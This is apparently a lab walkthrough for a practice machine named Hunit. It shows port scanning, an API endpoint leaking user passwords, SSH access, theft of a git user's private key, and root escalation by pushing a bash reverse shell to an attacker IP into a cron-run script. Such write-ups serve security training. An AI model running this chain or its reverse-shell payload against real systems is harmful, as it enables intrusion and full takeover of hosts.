Exploitation Guide for Hunit

Summary

In this scenario, we’ll enumerate a web application and discover an API endpoint that leaks user information. This helps us obtain SSH access as a low-privileged user. We’ll then find and extract a private SSH key for the git user, gaining privileges to push arbitrary updates to the master branch of a local repository. To escalate our privileges, we will clone the repository to our attack machine and inject a malicious payload using the git account.

Enumeration

Nmap

We’ll begin with an nmap scan against all TCP ports.

kali@kali:~$ sudo nmap -p- 192.168.120.204
...
Nmap scan report for 192.168.120.204
PORT      STATE SERVICE
8080/tcp  open  http-proxy
12445/tcp open  unknown
18030/tcp open  unknown
43022/tcp open  unknown

Next, we’ll run a more detailed “version” scan against the open ports.

kali@kali:~$  sudo nmap -sC -sV -p 8080,12445,18030,43022 192.168.120.204
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-09 16:39 -03
Nmap scan report for 192.168.120.204
Host is up (0.16s latency).

PORT      STATE SERVICE     VERSION
8080/tcp  open  http-proxy
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Content-Length: 3755
|     Date: Mon, 09 Nov 2020 19:39:31 GMT
|     Connection: close
|     <!DOCTYPE HTML>
|     <!--
|     Minimaxing by HTML5 UP
|     html5up.net | @ajlkn
|     Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
|     <html>
|     <head>
|     <title>My Haikus</title>
|     <meta charset="utf-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
|     <link rel="stylesheet" href="/css/main.css" />
|     </head>
|     <body>
|     <div id="page-wrapper">
|     <!-- Header -->
|     <div id="header-wrapper">
|     <div class="container">
|     <div class="row">
|     <div class="col-12">
|     <header id="header">
|     <h1><a href="/" id="logo">My Haikus</a></h1>
|     </header>
|     </div>
|     </div>
|     </div>
|     </div>
|     <div id="main">
|     <div clas
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Mon, 09 Nov 2020 19:39:31 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 505 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 465
|     Date: Mon, 09 Nov 2020 19:39:31 GMT
|     <!doctype html><html lang="en"><head><title>HTTP Status 505 
|     HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 
|_    HTTP Version Not Supported</h1></body></html>
|_http-title: My Haikus
12445/tcp open  netbios-ssn Samba smbd 4.6.2
18030/tcp open  http        Apache httpd 2.4.46 ((Unix))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Unix)
|_http-title: Whack A Mole!
43022/tcp open  ssh         OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey: 
|   3072 7b:fc:37:b4:da:6e:c5:8e:a9:8b:b7:80:f5:cd:09:cb (RSA)
|   256 89:cd:ea:47:25:d9:8f:f8:94:c3:d6:5c:d4:05:ba:d0 (ECDSA)
|_  256 c0:7c:6f:47:7e:94:cc:8b:f8:3d:a0:a6:1f:a9:27:11 (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...

This reveals a web server on port 8080, a Samba share on port 12445, an Apache web server on port 18030, and SSH on port 43022. In this case we’ll focus on the web server on port 8080 and the SSH service.

CURL

Let’s start by enumerating the website on port 8080. The default page (http://192.168.120.204:8080/) contains several links, the first of which points to /article/the-taste-of-rain.

kali@kali:~$ curl http://192.168.120.204:8080/
...
<section>
        <header class="article-header">
                <h2 class="article-title"><a href="/article/the-taste-of-rain">The Taste of Rain</a></h2>
                <div class="article-meta">By  <strong>James</strong>, on <strong>2021-01-14 14th 2021</strong></div>
        </header>
        <div class="article-headline">
                Jack Kerouac
        </div>
</section>
...

Let’s follow that link.

kali@kali:~$ curl http://192.168.120.204:8080/article/the-taste-of-rain
...
<section class="article">
	<header class="article-header">
		<h1 class="article-title">The Taste of Rain</h1>
		<p class="article-meta">By  <strong>James</strong>, on <strong>2020-11-09 9th 2020</strong></p>
	</header>

	<div class="article-description">
		<div>Jack Kerouac</div>
		
		
		

		<p>The taste, Of rain, —Why kneel?</p>
	</div>
</section>

<!--
<a href="http://localhost:8080/api/">List all</a>
-->
...

A comment on the page suggests the presence of an API located in the /api/ directory.

Exploitation

Credential Leak

After a brief exploration of the API, we discover an information leak.

kali@kali:~$ curl http://192.168.120.204:8080/api/         
[{"string":"/api/","id":13},{"string":"/article/","id":14},{"string":"/article/?","id":15},{"string":"/user/","id":16},{"string":"/user/?","id":17}]        

The /user/ endpoint is certainly worth inspection.

kali@kali:~$ curl http://192.168.120.204:8080/api/user/
[{"login":"rjackson","password":"yYJcgYqszv4aGQ","firstname":"Richard","lastname":"Jackson","description":"Editor","id":1},
{"login":"jsanchez","password":"d52cQ1BzyNQycg","firstname":"Jennifer","lastname":"Sanchez","description":"Editor","id":3},
{"login":"dademola","password":"ExplainSlowQuest110","firstname":"Derik","lastname":"Ademola","description":"Admin","id":6},
{"login":"jwinters","password":"KTuGcSW6Zxwd0Q","firstname":"Julie","lastname":"Winters","description":"Editor","id":7},
{"login":"jvargas","password":"OuQ96hcgiM5o9w","firstname":"James","lastname":"Vargas","description":"Editor","id":10}]%  

This endpoint leaks several username-password pairs.

SSH

Let’s try to leverage these credentials against the SSH service running on port 43022 in an attempt to gain an initial foothold.

kali@kali:~$ ssh -p 43022 dademola@192.168.120.204
...
dademola@192.168.120.204's password: 
[dademola@hunit ~]$ id
uid=1001(dademola) gid=1001(dademola) groups=1001(dademola)
[dademola@hunit ~]$

The dademola:ExplainSlowQuest110 credentials grant us access. We have our foothold!

Escalation

Crontab Backup File Enumeration

After some initial enumeration, we discover a crontab backup in the /etc folder.

[dademola@hunit ~]$ ls -l /etc
total 780
...
drwxr-xr-x 2 root root   4096 Nov  6 18:09 conf.d
drwxr-xr-x 2 root root   4096 Nov  5 23:46 cron.d
drwxr-xr-x 2 root root   4096 Oct 31  2019 cron.daily
-rw-r--r-- 1 root root     74 Oct 31  2019 cron.deny
drwxr-xr-x 2 root root   4096 Nov  5 23:46 cron.hourly
drwxr-xr-x 2 root root   4096 Oct 31  2019 cron.monthly
drwxr-xr-x 2 root root   4096 Oct 31  2019 cron.weekly
-rw-r--r-- 1 root root     67 Nov 10 15:31 crontab.bak
...

The contents of the /etc/crontab.bak file are certainly interesting:

[dademola@hunit ~]$ cat /etc/crontab.bak 
*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh
[dademola@hunit ~]$ 

This file lists two jobs that are run from the /root directory. This is obviously a potential vulnerability which requires further examination.

Git Server Enumeration

As is typical, any attempt to access /root as this user generates a “permission denied” error. However, we do discover that git-server exists in /.

[dademola@hunit ~]$ find / -type d -name git-server -print 2>/dev/null
/git-server
[dademola@hunit ~]$ 
[dademola@hunit ~]$ ls -l /git-server/
total 32
-rw-r--r--  1 git git   23 Nov  5 22:33 HEAD
drwxr-xr-x  2 git git 4096 Nov  5 22:33 branches
-rw-r--r--  1 git git   66 Nov  5 22:33 config
-rw-r--r--  1 git git   73 Nov  5 22:33 description
drwxr-xr-x  2 git git 4096 Nov  5 22:33 hooks
drwxr-xr-x  2 git git 4096 Nov  5 22:33 info
drwxr-xr-x 16 git git 4096 Nov  6 00:06 objects
drwxr-xr-x  4 git git 4096 Nov  5 22:33 refs

Inspecting these files, we discover that they are git backend files, which are somewhat difficult to work with. Let’s instead attempt to clone /git-server to determine what’s inside.

[dademola@hunit ~]$ git clone file:///git-server/ 
Cloning into 'git-server'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.

This works. Let’s inspect the directory contents.

[dademola@hunit ~]$ ls -la git-server
total 20
drwxr-xr-x 3 dademola dademola 4096 Nov 10 15:40 .
drwx------ 7 dademola dademola 4096 Nov 10 15:53 ..
drwxr-xr-x 8 dademola dademola 4096 Nov 10 15:54 .git
-rw-r--r-- 1 dademola dademola    0 Nov 10 15:40 NEW_CHANGE
-rw-r--r-- 1 dademola dademola   63 Nov 10 15:40 README
-rw-r--r-- 1 dademola dademola   60 Nov 10 15:52 backups.sh

Next, we’ll attempt to grab the repository’s log.

[dademola@hunit ~]$ cd git-server

[dademola@hunit git-server]$ git log
commit b50f4e5415cae0b650836b5466cc47c62faf7341 (HEAD -> master, origin/master, origin/HEAD)
Author: Dademola <dade@local.host>
Date:   Thu Nov 5 21:05:58 2020 -0300

    testing

commit c71132590f969b535b315089f83f39e48d0021e2
Author: Dademola <dade@local.host>
Date:   Thu Nov 5 20:59:48 2020 -0300

    testing
...

There’s not much here. Let’s review the contents of the backups.sh script.

[dademola@hunit git-server]$ cat backups.sh 
#!/bin/bash
#
#
# # Placeholder
#

This is simply a placeholder. Based on out knowledge of git, we can deduce that the /root/pull.sh script (which was referenced in the crontab backup file) pulls the changes done to the repository’s master branch. To test this theory, we’ll try to inject some code into the backups.sh script and then push the changes. First, we’ll set up our Git identity.

[dademola@hunit git-server]$ git config --global user.name "dademola"
[dademola@hunit git-server]$ git config --global user.email "dademola@hunit.(none)"

Next, we’ll inject a test instruction.

[dademola@hunit git-server]$ echo "touch /tmp/gitscript-test" >> backups.sh

Before adding and committing the updated script, we’ll make it executable.

[dademola@hunit git-server]$ chmod +x backups.sh 

Finally, we’ll add and commit our changes and attempt to push them to the master branch.

[dademola@hunit git-server]$ git add -A
[dademola@hunit git-server]$ git commit -m "pwn"
[master 159de6f] pwn
 1 file changed, 1 insertion(+)

[dademola@hunit git-server]$ git push origin master
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 290 bytes | 290.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
error: remote unpack failed: unable to create temporary object directory
To file:///git-server/
 ! [remote rejected] master -> master (unpacker error)
error: failed to push some refs to 'file:///git-server/'

Unfortunately, we are not allowed to make changes to this repository. Further inspection reveals that the contents of the /git-server are owned by the git user.

dademola@hunit git-server]$ ls -la /git-server
total 40
drwxr-xr-x  7 git  git  4096 Nov  6 00:06 .
drwxr-xr-x 18 root root 4096 Nov 10 15:29 ..
-rw-r--r--  1 git  git    23 Nov  5 22:33 HEAD
drwxr-xr-x  2 git  git  4096 Nov  5 22:33 branches
-rw-r--r--  1 git  git    66 Nov  5 22:33 config
-rw-r--r--  1 git  git    73 Nov  5 22:33 description
drwxr-xr-x  2 git  git  4096 Nov  5 22:33 hooks
drwxr-xr-x  2 git  git  4096 Nov  5 22:33 info
drwxr-xr-x 16 git  git  4096 Nov  6 00:06 objects
drwxr-xr-x  4 git  git  4096 Nov  5 22:33 refs

Git User SSH

According to /etc/passwd, the git user exists and uses /usr/bin/git-shell as the default shell.

[dademola@hunit git-server]$ grep git /etc/passwd      
git:x:1005:1005::/home/git:/usr/bin/git-shell

As referenced in the password file, /home/git exists.

[dademola@hunit git-server]$ ls -l /home 
total 8
drwx------ 7 dademola dademola 4096 Jan 14 18:28 dademola
drwxr-xr-x 4 git      git      4096 Nov  5 22:35 git

This folder contains a .ssh folder.

[dademola@hunit ~]$ ls -la /home/git
total 28
drwxr-xr-x 4 git  git  4096 Nov  5 22:35 .
drwxr-xr-x 4 root root 4096 Nov  5 22:28 ..
-rw------- 1 git  git     0 Nov  6 00:26 .bash_history
-rw-r--r-- 1 git  git    21 Aug  9 16:27 .bash_logout
-rw-r--r-- 1 git  git    57 Aug  9 16:27 .bash_profile
-rw-r--r-- 1 git  git   141 Aug  9 16:27 .bashrc
drwxr-xr-x 2 git  git  4096 Nov  5 22:31 .ssh
drwxr-xr-x 2 git  git  4096 Nov  5 22:35 git-shell-commands

Within this folder, we discover an id_rsa private key file.

[dademola@hunit git-server]$ ls -l /home/git/.ssh
total 12
-rwxr-xr-x 1 root root  564 Nov  5 22:31 authorized_keys
-rwxr-xr-x 1 root root 2590 Nov  5 22:31 id_rsa
-rwxr-xr-x 1 root root  564 Nov  5 22:31 id_rsa.pub

Interestingly, the authorized_keys and id_rsa.pub files are the same size, and the contents appear identical:

[dademola@hunit ~]$ cat /home/git/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2+L7/MgU/MJ+fYIEXEa1+WA9/qMvFj1kUTBk0dtCODfandxZvNAbBFY1JWUFjOPqxc+NxZNFzunTxYdv3/zkvT9/3iV9dQgH2m2Kkv0QfFJQPEaug/rQf2MlOPQq563LUb7FLK2L75COLqHGa5GtDh7lDqUGfzj8JcCdEfoYtgVHLAkRdC0scLC2WFUSo/sdkBYu0MWdZBXt4wX1EI0FVJYFt5AhNtkNJty2Dk/QffmKg+7rs/KCj1J9JFekE9UEjXd94EgjZXeIv4FDLqx4KPu0eP2k1hkVaOugpUIFmSgt8uxMdGRcMotEgK9wfDXI5ZR/iwU2deRyUcLGwRTp0kP2TuHCcrUSz5CCVdBJLQk6Y/BN+lGStfV3bsrfWuhA/9gZVtkkSLey0CZpneJDVxAzLY1DoRKi6k11B5UXLQThymn80PJrOH++3aKtzp9Q36N0W8JZlsg7qmaX4dY5TdTcDEVNJeZuuMwdqECvEyr8m1TAlq7LDT0Uq3JwQ7fM= root@hunit
[dademola@hunit ~]$ 
[dademola@hunit ~]$ cat /home/git/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2+L7/MgU/MJ+fYIEXEa1+WA9/qMvFj1kUTBk0dtCODfandxZvNAbBFY1JWUFjOPqxc+NxZNFzunTxYdv3/zkvT9/3iV9dQgH2m2Kkv0QfFJQPEaug/rQf2MlOPQq563LUb7FLK2L75COLqHGa5GtDh7lDqUGfzj8JcCdEfoYtgVHLAkRdC0scLC2WFUSo/sdkBYu0MWdZBXt4wX1EI0FVJYFt5AhNtkNJty2Dk/QffmKg+7rs/KCj1J9JFekE9UEjXd94EgjZXeIv4FDLqx4KPu0eP2k1hkVaOugpUIFmSgt8uxMdGRcMotEgK9wfDXI5ZR/iwU2deRyUcLGwRTp0kP2TuHCcrUSz5CCVdBJLQk6Y/BN+lGStfV3bsrfWuhA/9gZVtkkSLey0CZpneJDVxAzLY1DoRKi6k11B5UXLQThymn80PJrOH++3aKtzp9Q36N0W8JZlsg7qmaX4dY5TdTcDEVNJeZuuMwdqECvEyr8m1TAlq7LDT0Uq3JwQ7fM= root@hunit
[dademola@hunit ~]$

diff reveals that the files are, in fact, identical.

[dademola@hunit ~]$ diff /home/git/.ssh/authorized_keys /home/git/.ssh/id_rsa.pub
[dademola@hunit ~]$

Since the id_rsa.pub public key is in the authorized_keys file, we should be able to use the private key to log in via SSH. Let’s copy this private key to our attack machine and apply the proper permissions.

kali@kali:~$ scp -P 43022 dademola@192.168.120.204:/home/git/.ssh/id_rsa .
dademola@192.168.120.204's password: 
id_rsa   100% 2590    19.2KB/s   00:00    
kali@kali:~$
kali@kali:~$ chmod 0600 id_rsa 

Next, we’ll attempt to use this private key to log in as the git user.

kali@kali:~$ ssh -p 43022 git@192.168.120.204 -i id_rsa
git> 

The key works, and our login attempt is successful!

Reverse Shell

Since this is a git-shell, we should be able to interact with the repository. Let’s clone this repo on our attack machine.

kali@kali:~$ GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.120.204:/git-server
Cloning into 'git-server'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.

Now we can again attempt to push our changes to the master branch. As before, we’ll first configure our Git identity.

kali@kali:~$ cd git-server
kali@kali:~/git-server$ git config --global user.name "kali"
kali@kali:~/git-server$ git config --global user.email "kali@kali.(none)"

Next, we’ll inject a reverse shell payload into the backups.sh script and make it executable.

kali@kali:~/git-server$ echo "sh -i >& /dev/tcp/192.168.118.8/8080 0>&1" >> backups.sh 
kali@kali:~/git-server$ chmod +x backups.sh

Let’s add and commit our changes.

kali@kali:~/git-server$ git add -A
kali@kali:~/git-server$ git commit -m "pwn"
[master cb7104c] pwn
 1 file changed, 1 insertion(+)
 mode change 100644 => 100755 backups.sh

Before pushing our payload, we’ll set up a Netcat listener on port 8080.

kali@kali:~$ nc -lvnp 8080 
listening on [any] 8080 ...

Once our listener is ready, we’ll attempt to push to the master branch.

kali@kali:~/git-server$ GIT_SSH_COMMAND='ssh -i ~/id_rsa -p 43022' git push origin master
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 302 bytes | 302.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To 192.168.120.204:/git-server
   b50f4e5..0212790  master -> master
kali@kali:~/git-server$ 

The crontab backup file indicates that the pull.sh script runs every two minutes, and the backups.sh script runs every three minutes. Because of this, it may take up to five minutes to determine if our attack was successful.

Once our changes are synchronized, and our payload is executed inside the backups.sh script, we should receive our root user shell.

kali@kali:~$ nc -lvnp 8080 
listening on [any] 8080 ...
connect to [192.168.118.8] from (UNKNOWN) [192.168.120.204] 51816
...
sh-5.0# whoami
root